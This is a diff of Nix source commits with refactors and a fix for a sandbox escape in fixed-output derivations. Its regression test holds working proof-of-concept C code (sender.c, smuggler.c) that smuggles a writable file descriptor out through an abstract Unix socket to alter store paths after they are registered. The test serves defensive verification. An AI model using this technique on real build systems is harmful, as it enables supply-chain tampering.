Compare commits
22 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f8170ce9f1 | ||
|
|
d6918898c9 | ||
|
|
244f3eee0b | ||
|
|
4645652975 | ||
|
|
584d64bebc | ||
|
|
651e62781f | ||
|
|
82d7d740c9 | ||
|
|
b005d736ef | ||
|
|
31c908a9e2 | ||
|
|
b636f1ecd8 | ||
|
|
edcb3430ef | ||
|
|
15c0a7b2ce | ||
|
|
2e78ef5612 | ||
|
|
7599d4bbed | ||
|
|
8a8172cd2b | ||
|
|
7b45cc30a1 | ||
|
|
e52d384766 | ||
|
|
0b32c8763b | ||
|
|
adb1d56862 | ||
|
|
28dd392948 | ||
|
|
7f02d17881 | ||
|
|
ce23ef4a77 |
14
doc/manual/rl-next/fod-sandbox-escape.md
Normal file
14
doc/manual/rl-next/fod-sandbox-escape.md
Normal file
@@ -0,0 +1,14 @@
|
||||
---
|
||||
synopsis: Fix a FOD sandbox escape
|
||||
issues:
|
||||
prs:
|
||||
---
|
||||
|
||||
Cooperating Nix derivations could send file descriptors to files in the Nix
|
||||
store to each other via Unix domain sockets in the abstract namespace. This
|
||||
allowed one derivation to modify the output of the other derivation, after Nix
|
||||
has registered the path as "valid" and immutable in the Nix database.
|
||||
In particular, this allowed the output of fixed-output derivations to be
|
||||
modified from their expected content.
|
||||
|
||||
This isn't the case any more.
|
||||
@@ -45,7 +45,7 @@ ref<InstallableValue> InstallableValue::require(ref<Installable> installable)
|
||||
std::optional<DerivedPathWithInfo> InstallableValue::trySinglePathToDerivedPaths(Value & v, const PosIdx pos, std::string_view errorCtx)
|
||||
{
|
||||
if (v.type() == nPath) {
|
||||
auto storePath = fetchToStore(*state->store, v.path());
|
||||
auto storePath = fetchToStore(*state->store, v.path(), FetchMode::Copy);
|
||||
return {{
|
||||
.path = DerivedPath::Opaque {
|
||||
.path = std::move(storePath),
|
||||
|
||||
@@ -507,13 +507,13 @@ EvalState::~EvalState()
|
||||
void EvalState::allowPath(const Path & path)
|
||||
{
|
||||
if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListInputAccessor>())
|
||||
rootFS2->allowPath(CanonPath(path));
|
||||
rootFS2->allowPrefix(CanonPath(path));
|
||||
}
|
||||
|
||||
void EvalState::allowPath(const StorePath & storePath)
|
||||
{
|
||||
if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListInputAccessor>())
|
||||
rootFS2->allowPath(CanonPath(store->toRealPath(storePath)));
|
||||
rootFS2->allowPrefix(CanonPath(store->toRealPath(storePath)));
|
||||
}
|
||||
|
||||
void EvalState::allowAndSetStorePathString(const StorePath & storePath, Value & v)
|
||||
@@ -2338,7 +2338,14 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat
|
||||
auto dstPath = i != srcToStore.end()
|
||||
? i->second
|
||||
: [&]() {
|
||||
auto dstPath = fetchToStore(*store, path.resolveSymlinks(), path.baseName(), FileIngestionMethod::Recursive, nullptr, repair);
|
||||
auto dstPath = fetchToStore(
|
||||
*store,
|
||||
path.resolveSymlinks(),
|
||||
settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy,
|
||||
path.baseName(),
|
||||
FileIngestionMethod::Recursive,
|
||||
nullptr,
|
||||
repair);
|
||||
allowPath(dstPath);
|
||||
srcToStore.insert_or_assign(path, dstPath);
|
||||
printMsg(lvlChatty, "copied source '%1%' -> '%2%'", path, store->printStorePath(dstPath));
|
||||
|
||||
@@ -107,7 +107,7 @@ LockFile::LockFile(const nlohmann::json & json, const Path & path)
|
||||
std::string inputKey = i.value();
|
||||
auto k = nodeMap.find(inputKey);
|
||||
if (k == nodeMap.end()) {
|
||||
auto nodes = json["nodes"];
|
||||
auto & nodes = json["nodes"];
|
||||
auto jsonNode2 = nodes.find(inputKey);
|
||||
if (jsonNode2 == nodes.end())
|
||||
throw Error("lock file references missing node '%s'", inputKey);
|
||||
|
||||
@@ -2244,7 +2244,14 @@ static void addPath(
|
||||
});
|
||||
|
||||
if (!expectedHash || !state.store->isValidPath(*expectedStorePath)) {
|
||||
auto dstPath = fetchToStore(*state.store, path.resolveSymlinks(), name, method, filter.get(), state.repair);
|
||||
auto dstPath = fetchToStore(
|
||||
*state.store,
|
||||
path.resolveSymlinks(),
|
||||
settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy,
|
||||
name,
|
||||
method,
|
||||
filter.get(),
|
||||
state.repair);
|
||||
if (expectedHash && expectedStorePath != dstPath)
|
||||
state.debugThrowLastTrace(Error("store path mismatch in (possibly filtered) path added from '%s'", path));
|
||||
state.allowAndSetStorePathString(dstPath, v);
|
||||
|
||||
@@ -7,6 +7,7 @@ namespace nix {
|
||||
StorePath fetchToStore(
|
||||
Store & store,
|
||||
const SourcePath & path,
|
||||
FetchMode mode,
|
||||
std::string_view name,
|
||||
ContentAddressMethod method,
|
||||
PathFilter * filter,
|
||||
@@ -47,18 +48,19 @@ StorePath fetchToStore(
|
||||
} else
|
||||
debug("source path '%s' is uncacheable", path);
|
||||
|
||||
Activity act(*logger, lvlChatty, actUnknown, fmt("copying '%s' to the store", path));
|
||||
Activity act(*logger, lvlChatty, actUnknown,
|
||||
fmt(mode == FetchMode::DryRun ? "hashing '%s'" : "copying '%s' to the store", path));
|
||||
|
||||
auto filter2 = filter ? *filter : defaultPathFilter;
|
||||
|
||||
auto storePath =
|
||||
settings.readOnlyMode
|
||||
mode == FetchMode::DryRun
|
||||
? store.computeStorePath(
|
||||
name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2).first
|
||||
: store.addToStore(
|
||||
name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair);
|
||||
|
||||
if (cacheKey)
|
||||
if (cacheKey && mode == FetchMode::Copy)
|
||||
fetchers::getCache()->add(store, *cacheKey, {}, storePath, true);
|
||||
|
||||
return storePath;
|
||||
|
||||
@@ -8,12 +8,15 @@
|
||||
|
||||
namespace nix {
|
||||
|
||||
enum struct FetchMode { DryRun, Copy };
|
||||
|
||||
/**
|
||||
* Copy the `path` to the Nix store.
|
||||
*/
|
||||
StorePath fetchToStore(
|
||||
Store & store,
|
||||
const SourcePath & path,
|
||||
FetchMode mode,
|
||||
std::string_view name = "source",
|
||||
ContentAddressMethod method = FileIngestionMethod::Recursive,
|
||||
PathFilter * filter = nullptr,
|
||||
|
||||
@@ -376,7 +376,7 @@ void InputScheme::clone(const Input & input, const Path & destDir) const
|
||||
std::pair<StorePath, Input> InputScheme::fetch(ref<Store> store, const Input & input)
|
||||
{
|
||||
auto [accessor, input2] = getAccessor(store, input);
|
||||
auto storePath = fetchToStore(*store, SourcePath(accessor), input2.getName());
|
||||
auto storePath = fetchToStore(*store, SourcePath(accessor), FetchMode::Copy, input2.getName());
|
||||
return {storePath, input2};
|
||||
}
|
||||
|
||||
|
||||
@@ -51,33 +51,33 @@ void FilteringInputAccessor::checkAccess(const CanonPath & path)
|
||||
|
||||
struct AllowListInputAccessorImpl : AllowListInputAccessor
|
||||
{
|
||||
std::set<CanonPath> allowedPaths;
|
||||
std::set<CanonPath> allowedPrefixes;
|
||||
|
||||
AllowListInputAccessorImpl(
|
||||
ref<InputAccessor> next,
|
||||
std::set<CanonPath> && allowedPaths,
|
||||
std::set<CanonPath> && allowedPrefixes,
|
||||
MakeNotAllowedError && makeNotAllowedError)
|
||||
: AllowListInputAccessor(SourcePath(next), std::move(makeNotAllowedError))
|
||||
, allowedPaths(std::move(allowedPaths))
|
||||
, allowedPrefixes(std::move(allowedPrefixes))
|
||||
{ }
|
||||
|
||||
bool isAllowed(const CanonPath & path) override
|
||||
{
|
||||
return path.isAllowed(allowedPaths);
|
||||
return path.isAllowed(allowedPrefixes);
|
||||
}
|
||||
|
||||
void allowPath(CanonPath path) override
|
||||
void allowPrefix(CanonPath prefix) override
|
||||
{
|
||||
allowedPaths.insert(std::move(path));
|
||||
allowedPrefixes.insert(std::move(prefix));
|
||||
}
|
||||
};
|
||||
|
||||
ref<AllowListInputAccessor> AllowListInputAccessor::create(
|
||||
ref<InputAccessor> next,
|
||||
std::set<CanonPath> && allowedPaths,
|
||||
std::set<CanonPath> && allowedPrefixes,
|
||||
MakeNotAllowedError && makeNotAllowedError)
|
||||
{
|
||||
return make_ref<AllowListInputAccessorImpl>(next, std::move(allowedPaths), std::move(makeNotAllowedError));
|
||||
return make_ref<AllowListInputAccessorImpl>(next, std::move(allowedPrefixes), std::move(makeNotAllowedError));
|
||||
}
|
||||
|
||||
bool CachingFilteringInputAccessor::isAllowed(const CanonPath & path)
|
||||
|
||||
@@ -54,18 +54,19 @@ struct FilteringInputAccessor : InputAccessor
|
||||
};
|
||||
|
||||
/**
|
||||
* A wrapping `InputAccessor` that checks paths against an allow-list.
|
||||
* A wrapping `InputAccessor` that checks paths against a set of
|
||||
* allowed prefixes.
|
||||
*/
|
||||
struct AllowListInputAccessor : public FilteringInputAccessor
|
||||
{
|
||||
/**
|
||||
* Grant access to the specified path.
|
||||
* Grant access to the specified prefix.
|
||||
*/
|
||||
virtual void allowPath(CanonPath path) = 0;
|
||||
virtual void allowPrefix(CanonPath prefix) = 0;
|
||||
|
||||
static ref<AllowListInputAccessor> create(
|
||||
ref<InputAccessor> next,
|
||||
std::set<CanonPath> && allowedPaths,
|
||||
std::set<CanonPath> && allowedPrefixes,
|
||||
MakeNotAllowedError && makeNotAllowedError);
|
||||
|
||||
using FilteringInputAccessor::FilteringInputAccessor;
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
#include "fs-input-accessor.hh"
|
||||
#include "input-accessor.hh"
|
||||
#include "filtering-input-accessor.hh"
|
||||
#include "memory-input-accessor.hh"
|
||||
#include "cache.hh"
|
||||
#include "finally.hh"
|
||||
#include "processes.hh"
|
||||
@@ -589,7 +590,7 @@ struct GitInputAccessor : InputAccessor
|
||||
i = lookupCache.emplace(path, std::move(entry)).first;
|
||||
}
|
||||
|
||||
return &*i->second;
|
||||
return i->second.get();
|
||||
}
|
||||
|
||||
git_tree_entry * need(const CanonPath & path)
|
||||
@@ -750,17 +751,21 @@ ref<InputAccessor> GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore)
|
||||
ref<InputAccessor> GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError)
|
||||
{
|
||||
auto self = ref<GitRepoImpl>(shared_from_this());
|
||||
/* In case of an empty workdir, return an empty in-memory tree. We
|
||||
cannot use AllowListInputAccessor because it would return an
|
||||
error for the root (and we can't add the root to the allow-list
|
||||
since that would allow access to all its children). */
|
||||
ref<InputAccessor> fileAccessor =
|
||||
AllowListInputAccessor::create(
|
||||
makeFSInputAccessor(path),
|
||||
std::set<CanonPath> { wd.files },
|
||||
std::move(makeNotAllowedError));
|
||||
if (exportIgnore) {
|
||||
wd.files.empty()
|
||||
? makeEmptyInputAccessor()
|
||||
: AllowListInputAccessor::create(
|
||||
makeFSInputAccessor(path),
|
||||
std::set<CanonPath> { wd.files },
|
||||
std::move(makeNotAllowedError)).cast<InputAccessor>();
|
||||
if (exportIgnore)
|
||||
return make_ref<GitExportIgnoreInputAccessor>(self, fileAccessor, std::nullopt);
|
||||
}
|
||||
else {
|
||||
else
|
||||
return fileAccessor;
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::tuple<GitRepoImpl::Submodule, Hash>> GitRepoImpl::getSubmodules(const Hash & rev, bool exportIgnore)
|
||||
|
||||
@@ -158,6 +158,8 @@ std::vector<PublicKey> getPublicKeys(const Attrs & attrs)
|
||||
|
||||
} // end namespace
|
||||
|
||||
static const Hash nullRev{HashAlgorithm::SHA1};
|
||||
|
||||
struct GitInputScheme : InputScheme
|
||||
{
|
||||
std::optional<Input> inputFromURL(const ParsedURL & url, bool requireTree) const override
|
||||
@@ -708,10 +710,12 @@ struct GitInputScheme : InputScheme
|
||||
if (auto ref = repo->getWorkdirRef())
|
||||
input.attrs.insert_or_assign("ref", *ref);
|
||||
|
||||
auto rev = repoInfo.workdirInfo.headRev.value();
|
||||
/* Return a rev of 000... if there are no commits yet. */
|
||||
auto rev = repoInfo.workdirInfo.headRev.value_or(nullRev);
|
||||
|
||||
input.attrs.insert_or_assign("rev", rev.gitRev());
|
||||
input.attrs.insert_or_assign("revCount", getRevCount(repoInfo, repoInfo.url, rev));
|
||||
input.attrs.insert_or_assign("revCount",
|
||||
rev == nullRev ? 0 : getRevCount(repoInfo, repoInfo.url, rev));
|
||||
|
||||
verifyCommit(input, repo);
|
||||
} else {
|
||||
|
||||
@@ -20,4 +20,10 @@ ref<MemoryInputAccessor> makeMemoryInputAccessor()
|
||||
return make_ref<MemoryInputAccessorImpl>();
|
||||
}
|
||||
|
||||
ref<InputAccessor> makeEmptyInputAccessor()
|
||||
{
|
||||
static auto empty = makeMemoryInputAccessor().cast<InputAccessor>();
|
||||
return empty;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -13,4 +13,6 @@ struct MemoryInputAccessor : InputAccessor
|
||||
|
||||
ref<MemoryInputAccessor> makeMemoryInputAccessor();
|
||||
|
||||
ref<InputAccessor> makeEmptyInputAccessor();
|
||||
|
||||
}
|
||||
|
||||
@@ -2527,6 +2527,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
|
||||
[&](const DerivationOutput::CAFixed & dof) {
|
||||
auto & wanted = dof.ca.hash;
|
||||
|
||||
// Replace the output by a fresh copy of itself to make sure
|
||||
// that there's no stale file descriptor pointing to it
|
||||
Path tmpOutput = actualPath + ".tmp";
|
||||
copyFile(actualPath, tmpOutput, true);
|
||||
renameFile(tmpOutput, actualPath);
|
||||
|
||||
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
|
||||
.method = dof.ca.method,
|
||||
.hashAlgo = wanted.algo,
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
*
|
||||
* Template implementations (as opposed to mere declarations).
|
||||
*
|
||||
* This file is an exmample of the "impl.hh" pattern. See the
|
||||
* This file is an example of the "impl.hh" pattern. See the
|
||||
* contributing guide.
|
||||
*
|
||||
* One only needs to include this when one is declaring a
|
||||
|
||||
@@ -84,7 +84,9 @@ void AbstractConfig::reapplyUnknownSettings()
|
||||
void Config::getSettings(std::map<std::string, SettingInfo> & res, bool overriddenOnly)
|
||||
{
|
||||
for (const auto & opt : _settings)
|
||||
if (!opt.second.isAlias && (!overriddenOnly || opt.second.setting->overridden))
|
||||
if (!opt.second.isAlias
|
||||
&& (!overriddenOnly || opt.second.setting->overridden)
|
||||
&& experimentalFeatureSettings.isEnabled(opt.second.setting->experimentalFeature))
|
||||
res.emplace(opt.first, SettingInfo{opt.second.setting->to_string(), opt.second.setting->description});
|
||||
}
|
||||
|
||||
|
||||
@@ -628,6 +628,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
|
||||
}
|
||||
}
|
||||
|
||||
void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
|
||||
{
|
||||
return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
|
||||
}
|
||||
|
||||
void renameFile(const Path & oldName, const Path & newName)
|
||||
{
|
||||
fs::rename(oldName, newName);
|
||||
|
||||
@@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst);
|
||||
*/
|
||||
void moveFile(const Path & src, const Path & dst);
|
||||
|
||||
/**
|
||||
* Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
|
||||
* `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
|
||||
* with the guaranty that the destination will be “fresh”, with no stale inode
|
||||
* or file descriptor pointing to it).
|
||||
*/
|
||||
void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
|
||||
|
||||
/**
|
||||
* Automatic cleanup of resources.
|
||||
|
||||
@@ -88,17 +88,19 @@ public:
|
||||
expectArgs({
|
||||
.label="inputs",
|
||||
.optional=true,
|
||||
.handler={[&](std::string inputToUpdate){
|
||||
InputPath inputPath;
|
||||
try {
|
||||
inputPath = flake::parseInputPath(inputToUpdate);
|
||||
} catch (Error & e) {
|
||||
warn("Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", inputToUpdate, inputToUpdate);
|
||||
throw e;
|
||||
.handler={[&](std::vector<std::string> inputsToUpdate){
|
||||
for (auto inputToUpdate : inputsToUpdate) {
|
||||
InputPath inputPath;
|
||||
try {
|
||||
inputPath = flake::parseInputPath(inputToUpdate);
|
||||
} catch (Error & e) {
|
||||
warn("Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", inputToUpdate, inputToUpdate);
|
||||
throw e;
|
||||
}
|
||||
if (lockFlags.inputUpdates.contains(inputPath))
|
||||
warn("Input '%s' was specified multiple times. You may have done this by accident.");
|
||||
lockFlags.inputUpdates.insert(inputPath);
|
||||
}
|
||||
if (lockFlags.inputUpdates.contains(inputPath))
|
||||
warn("Input '%s' was specified multiple times. You may have done this by accident.");
|
||||
lockFlags.inputUpdates.insert(inputPath);
|
||||
}},
|
||||
.completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) {
|
||||
completeFlakeInputPath(completions, getEvalState(), getFlakeRefsForCompletion(), prefix);
|
||||
|
||||
@@ -31,17 +31,19 @@ source common.sh
|
||||
NIX_CONFIG='
|
||||
experimental-features = nix-command
|
||||
accept-flake-config = true
|
||||
' nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr
|
||||
grepQuiet "false" $TEST_ROOT/stdout
|
||||
' expect 1 nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr
|
||||
[[ $(cat $TEST_ROOT/stdout) = '' ]]
|
||||
grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" $TEST_ROOT/stderr
|
||||
grepQuiet "error: could not find setting 'accept-flake-config'" $TEST_ROOT/stderr
|
||||
|
||||
# 'flakes' experimental-feature is disabled after, ignore and warn
|
||||
NIX_CONFIG='
|
||||
accept-flake-config = true
|
||||
experimental-features = nix-command
|
||||
' nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr
|
||||
grepQuiet "false" $TEST_ROOT/stdout
|
||||
' expect 1 nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr
|
||||
[[ $(cat $TEST_ROOT/stdout) = '' ]]
|
||||
grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" $TEST_ROOT/stderr
|
||||
grepQuiet "error: could not find setting 'accept-flake-config'" $TEST_ROOT/stderr
|
||||
|
||||
# 'flakes' experimental-feature is enabled before, process
|
||||
NIX_CONFIG='
|
||||
|
||||
@@ -30,7 +30,10 @@ echo hello >> $TEST_ROOT/worktree/hello
|
||||
rev2=$(git -C $repo rev-parse HEAD)
|
||||
git -C $repo tag -a tag2 -m tag2
|
||||
|
||||
# Fetch a worktree
|
||||
# Check whether fetching in read-only mode works.
|
||||
nix-instantiate --eval -E "builtins.readFile ((builtins.fetchGit file://$TEST_ROOT/worktree) + \"/hello\") == \"utrecht\\n\""
|
||||
|
||||
# Fetch a worktree.
|
||||
unset _NIX_FORCE_HTTP
|
||||
path0=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$TEST_ROOT/worktree).outPath")
|
||||
path0_=$(nix eval --impure --raw --expr "(builtins.fetchTree { type = \"git\"; url = file://$TEST_ROOT/worktree; }).outPath")
|
||||
@@ -268,3 +271,28 @@ git -C "$repo" add hello .gitignore
|
||||
git -C "$repo" commit -m 'Bla1'
|
||||
cd "$repo"
|
||||
path11=$(nix eval --impure --raw --expr "(builtins.fetchGit ./.).outPath")
|
||||
|
||||
# Test a workdir with no commits.
|
||||
empty="$TEST_ROOT/empty"
|
||||
git init "$empty"
|
||||
|
||||
emptyAttrs='{ lastModified = 0; lastModifiedDate = "19700101000000"; narHash = "sha256-pQpattmS9VmO3ZIQUFn66az8GSmB4IvYhTTCFn6SUmo="; rev = "0000000000000000000000000000000000000000"; revCount = 0; shortRev = "0000000"; submodules = false; }'
|
||||
|
||||
[[ $(nix eval --impure --expr "builtins.removeAttrs (builtins.fetchGit $empty) [\"outPath\"]") = $emptyAttrs ]]
|
||||
|
||||
echo foo > "$empty/x"
|
||||
|
||||
[[ $(nix eval --impure --expr "builtins.removeAttrs (builtins.fetchGit $empty) [\"outPath\"]") = $emptyAttrs ]]
|
||||
|
||||
git -C "$empty" add x
|
||||
|
||||
[[ $(nix eval --impure --expr "builtins.removeAttrs (builtins.fetchGit $empty) [\"outPath\"]") = '{ lastModified = 0; lastModifiedDate = "19700101000000"; narHash = "sha256-wzlAGjxKxpaWdqVhlq55q5Gxo4Bf860+kLeEa/v02As="; rev = "0000000000000000000000000000000000000000"; revCount = 0; shortRev = "0000000"; submodules = false; }' ]]
|
||||
|
||||
# Test a repo with an empty commit.
|
||||
git -C "$empty" rm -f x
|
||||
|
||||
git -C "$empty" config user.email "foobar@example.com"
|
||||
git -C "$empty" config user.name "Foobar"
|
||||
git -C "$empty" commit --allow-empty --allow-empty-message --message ""
|
||||
|
||||
nix eval --impure --expr "let attrs = builtins.fetchGit $empty; in assert attrs.lastModified != 0; assert attrs.rev != \"0000000000000000000000000000000000000000\"; assert attrs.revCount == 1; true"
|
||||
|
||||
@@ -564,6 +564,16 @@ nix flake lock "$flake3Dir"
|
||||
nix flake update flake2/flake1 --flake "$flake3Dir"
|
||||
[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]]
|
||||
|
||||
# Test updating multiple inputs.
|
||||
nix flake lock "$flake3Dir" --override-input flake1 flake1/master/$hash1
|
||||
nix flake lock "$flake3Dir" --override-input flake2/flake1 flake1/master/$hash1
|
||||
[[ $(jq -r .nodes.flake1.locked.rev "$flake3Dir/flake.lock") =~ $hash1 ]]
|
||||
[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash1 ]]
|
||||
|
||||
nix flake update flake1 flake2/flake1 --flake "$flake3Dir"
|
||||
[[ $(jq -r .nodes.flake1.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]]
|
||||
[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]]
|
||||
|
||||
# Test 'nix flake metadata --json'.
|
||||
nix flake metadata "$flake3Dir" --json | jq .
|
||||
|
||||
|
||||
90
tests/nixos/ca-fd-leak/default.nix
Normal file
90
tests/nixos/ca-fd-leak/default.nix
Normal file
@@ -0,0 +1,90 @@
|
||||
# Nix is a sandboxed build system. But Not everything can be handled inside its
|
||||
# sandbox: Network access is normally blocked off, but to download sources, a
|
||||
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
|
||||
# The detail here is not important, but in our case it means that the hash of
|
||||
# the output has to be known beforehand. And if you know that, you get a few
|
||||
# rights: you no longer run inside a special network namespace!
|
||||
#
|
||||
# Now, Linux has a special feature, that not many other unices do: Abstract
|
||||
# unix domain sockets! Not only that, but those are namespaced using the
|
||||
# network namespace! That means that we have a way to create sockets that are
|
||||
# available in every single fixed-output derivation, and also all processes
|
||||
# running on the host machine! Now, this wouldn't be that much of an issue, as,
|
||||
# well, the whole idea is that the output is pure, and all processes in the
|
||||
# sandbox are killed before finalizing the output. What if we didn't need those
|
||||
# processes at all? Unix domain sockets have a semi-known trick: you can pass
|
||||
# file descriptors around!
|
||||
# This makes it possible to exfiltrate a file-descriptor with write access to
|
||||
# $out outside of the sandbox. And that file-descriptor can be used to modify
|
||||
# the contents of the store path after it has been registered.
|
||||
|
||||
{ config, ... }:
|
||||
|
||||
let
|
||||
pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||
|
||||
# Simple C program that sends a a file descriptor to `$out` to a Unix
|
||||
# domain socket.
|
||||
# Compiled statically so that we can easily send it to the VM and use it
|
||||
# inside the build sandbox.
|
||||
sender = pkgs.runCommandWith {
|
||||
name = "sender";
|
||||
stdenv = pkgs.pkgsStatic.stdenv;
|
||||
} ''
|
||||
$CC -static -o $out ${./sender.c}
|
||||
'';
|
||||
|
||||
# Okay, so we have a file descriptor shipped out of the FOD now. But the
|
||||
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
|
||||
# lives in a mount namespace where it is not! So even when this file exists
|
||||
# in the actual Nix store, we're capable of just modifying its contents...
|
||||
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
|
||||
|
||||
# The abstract socket path used to exfiltrate the file descriptor
|
||||
socketName = "FODSandboxExfiltrationSocket";
|
||||
in
|
||||
{
|
||||
name = "ca-fd-leak";
|
||||
|
||||
nodes.machine =
|
||||
{ config, lib, pkgs, ... }:
|
||||
{ virtualisation.writableStore = true;
|
||||
nix.settings.substituters = lib.mkForce [ ];
|
||||
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
|
||||
};
|
||||
|
||||
testScript = { nodes }: ''
|
||||
start_all()
|
||||
|
||||
machine.succeed("echo hello")
|
||||
# Start the smuggler server
|
||||
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
|
||||
|
||||
# Build the smuggled derivation.
|
||||
# This will connect to the smuggler server and send it the file descriptor
|
||||
machine.succeed(r"""
|
||||
nix-build -E '
|
||||
builtins.derivation {
|
||||
name = "smuggled";
|
||||
system = builtins.currentSystem;
|
||||
# look ma, no tricks!
|
||||
outputHashMode = "flat";
|
||||
outputHashAlgo = "sha256";
|
||||
outputHash = builtins.hashString "sha256" "hello, world\n";
|
||||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
|
||||
}'
|
||||
""".strip())
|
||||
|
||||
|
||||
# Tell the smuggler server that we're done
|
||||
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||
|
||||
# Check that the file was not modified
|
||||
machine.succeed(r"""
|
||||
cat ./result
|
||||
test "$(cat ./result)" = "hello, world"
|
||||
""".strip())
|
||||
'';
|
||||
|
||||
}
|
||||
65
tests/nixos/ca-fd-leak/sender.c
Normal file
65
tests/nixos/ca-fd-leak/sender.c
Normal file
@@ -0,0 +1,65 @@
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
assert(argc == 2);
|
||||
|
||||
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
|
||||
// Set up a abstract domain socket path to connect to.
|
||||
struct sockaddr_un data;
|
||||
data.sun_family = AF_UNIX;
|
||||
data.sun_path[0] = 0;
|
||||
strcpy(data.sun_path + 1, argv[1]);
|
||||
|
||||
// Now try to connect, To ensure we work no matter what order we are
|
||||
// executed in, just busyloop here.
|
||||
int res = -1;
|
||||
while (res < 0) {
|
||||
res = connect(sock, (const struct sockaddr *)&data,
|
||||
offsetof(struct sockaddr_un, sun_path)
|
||||
+ strlen(argv[1])
|
||||
+ 1);
|
||||
if (res < 0 && errno != ECONNREFUSED) perror("connect");
|
||||
if (errno != ECONNREFUSED) break;
|
||||
}
|
||||
|
||||
// Write our message header.
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_control = malloc(128);
|
||||
msg.msg_controllen = 128;
|
||||
|
||||
// Write an SCM_RIGHTS message containing the output path.
|
||||
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
hdr->cmsg_len = CMSG_LEN(sizeof(int));
|
||||
hdr->cmsg_level = SOL_SOCKET;
|
||||
hdr->cmsg_type = SCM_RIGHTS;
|
||||
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
|
||||
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
|
||||
|
||||
msg.msg_controllen = CMSG_SPACE(sizeof(int));
|
||||
|
||||
// Write a single null byte too.
|
||||
msg.msg_iov = malloc(sizeof(struct iovec));
|
||||
msg.msg_iov[0].iov_base = "";
|
||||
msg.msg_iov[0].iov_len = 1;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
// Send it to the othher side of this connection.
|
||||
res = sendmsg(sock, &msg, 0);
|
||||
if (res < 0) perror("sendmsg");
|
||||
int buf;
|
||||
|
||||
// Wait for the server to close the socket, implying that it has
|
||||
// received the commmand.
|
||||
recv(sock, (void *)&buf, sizeof(int), 0);
|
||||
}
|
||||
66
tests/nixos/ca-fd-leak/smuggler.c
Normal file
66
tests/nixos/ca-fd-leak/smuggler.c
Normal file
@@ -0,0 +1,66 @@
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
assert(argc == 2);
|
||||
|
||||
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
|
||||
// Bind to the socket.
|
||||
struct sockaddr_un data;
|
||||
data.sun_family = AF_UNIX;
|
||||
data.sun_path[0] = 0;
|
||||
strcpy(data.sun_path + 1, argv[1]);
|
||||
int res = bind(sock, (const struct sockaddr *)&data,
|
||||
offsetof(struct sockaddr_un, sun_path)
|
||||
+ strlen(argv[1])
|
||||
+ 1);
|
||||
if (res < 0) perror("bind");
|
||||
|
||||
res = listen(sock, 1);
|
||||
if (res < 0) perror("listen");
|
||||
|
||||
int smuggling_fd = -1;
|
||||
|
||||
// Accept the connection a first time to receive the file descriptor.
|
||||
